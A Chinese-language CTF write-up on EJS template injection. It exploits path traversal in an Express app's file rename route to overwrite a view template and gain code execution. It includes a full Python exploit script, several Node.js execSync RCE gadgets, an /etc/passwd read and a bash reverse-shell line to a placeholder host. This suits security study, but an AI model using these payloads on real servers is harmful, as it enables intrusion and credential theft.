简单ejs模板注入

发布于 2025-02-08  38 次阅读


简单ejs模板注入,对象分析

源码:

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();
const port = 3000;

app.set('view engine', 'ejs');
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');

  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: '请提供旧文件名和新文件名' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: '重命名失败: ' + err.message });
    }
    res.json({ message: '文件重命名成功' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

分析:

可知是有4个路由,分别负责主页面,上传,改名,文件显示

app.use('/static', express.static(path.join(__dirname, 'public')));

可知在app/public下的文件可以从/static路由访问

有文件上传喝改名,考虑跨路径移动,实际确实可以移动到public下然后读取,但是不知道flag的路径

换个思路开始本次的主题

app.set('view engine', 'ejs');

res.render('mortis', { files: files });导入了模板,可以猜测其路径在app/views

先尝试把../views/mortis.ejs改到../public/mortis.ejs然后访问可以看到确实存在

所以可以通过上传mortis.ejs去替换掉原来的模板实现注入

目标:

1.require直接导入关键的child_process模块来使用.execSync来执行命令:

require('child_process').execSync('ls')

2.process通过mainModule来间接访问到require,后面同理:

process.mainModule.require('child_process').execSync('ls')

3.modulemodule.constructor也一样:

module.constructor.prototype.require('child_process').execSync('ls')

4.Object.constructor指向 Function构造器,可以构造一个新函数:

{}.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls')

模块除了child_process还有 fs 负责文件

文件读取require('fs').readFileSync('/etc/passwd').toString()

文件写入require('fs').writeFileSync('/tmp/malicious.sh', 'bash -i >& /dev/tcp/XXXX/4444 0>&1')

然后就是列出对象

Object.getOwnPropertyNames(this)可以列出上下文所有对象,包括那些隐藏起来的

这题我就是直接this列出没有找到process之类的对象就以为没有导致卡了很久,唉

<%
const keys = Object.getOwnPropertyNames(this);
for (let key of keys) {
    %> <p><strong><%= key %>:</strong> <%= typeof this[key] %></p> <%
}
%>

所以得到下面的Payload

import requests

TARGET = "http://XXXXX:32384"
MALICIOUS_TEMPLATE = """
<%
const keys = Object.getOwnPropertyNames(this);
for (let key of keys) {
    %> <p><strong><%= key %>:</strong> <%= typeof this[key] %></p> <%
}
%>

<p>process keys:</p>
<%
if (typeof process !== 'undefined') {
    for (let key in process) {
        %> <p><%= key %>: <%= typeof process[key] %></p> <%
    }
}
%>

<p>process.mainModule keys:</p>
<%
if (typeof process.mainModule !== 'undefined') {
    for (let key in process.mainModule) {
        %> <p><%= key %>: <%= typeof process.mainModule[key] %></p> <%
    }
}
%>

<%- process.mainModule.require("child_process").execSync("env").toString() %>

"""

# 1. 生成模板文件
with open("mortis.ejs", "w") as f:
    f.write(MALICIOUS_TEMPLATE)

# 2. 上传文件
file = {"file": open("mortis.ejs", "rb")}
upload_resp = requests.post(f"{TARGET}/upload", files=file)
print("Upload Response:", upload_resp.text)

# 3. 重命名覆盖原始模板
rename_data = {
    "oldName": "mortis.ejs",
    "newName": "../views/mortis.ejs",
}
rename_resp = requests.post(f"{TARGET}/rename", json=rename_data)
print("Rename Response:", rename_resp.text)

exploit_resp = requests.get(TARGET)
print("Exploit Response:", exploit_resp.text)

image-20250208223055954

image-20250208223123490

另记:

还有一种rce的话是通过控制 res.render()中的第二个参数

见:

CTF 中的 EJS 漏洞筆記

其實有關於 EJS,曾經考過的類型有兩種,第一種是像上面那樣你可以控制 render 中的第二個參數,第二種是你不能控制,但是有 prototype pollution 的漏洞。

第一種的話是 EJS 對於參數的處理其實我自己覺得有點問題,你可能以為只是傳入 data,但其實它 option 跟 data 是混在一起傳的,所以可以去更改 options,控制一些執行流程達成 RCE。

第二種的話主要是經由 prototype pollution 去污染 outputFunctionName,然後靠著 EJS 底層會用 outputFunctionName 去拼接 JS 程式碼達成 RCE。

QQ:2219349024
最后更新于 2025-02-17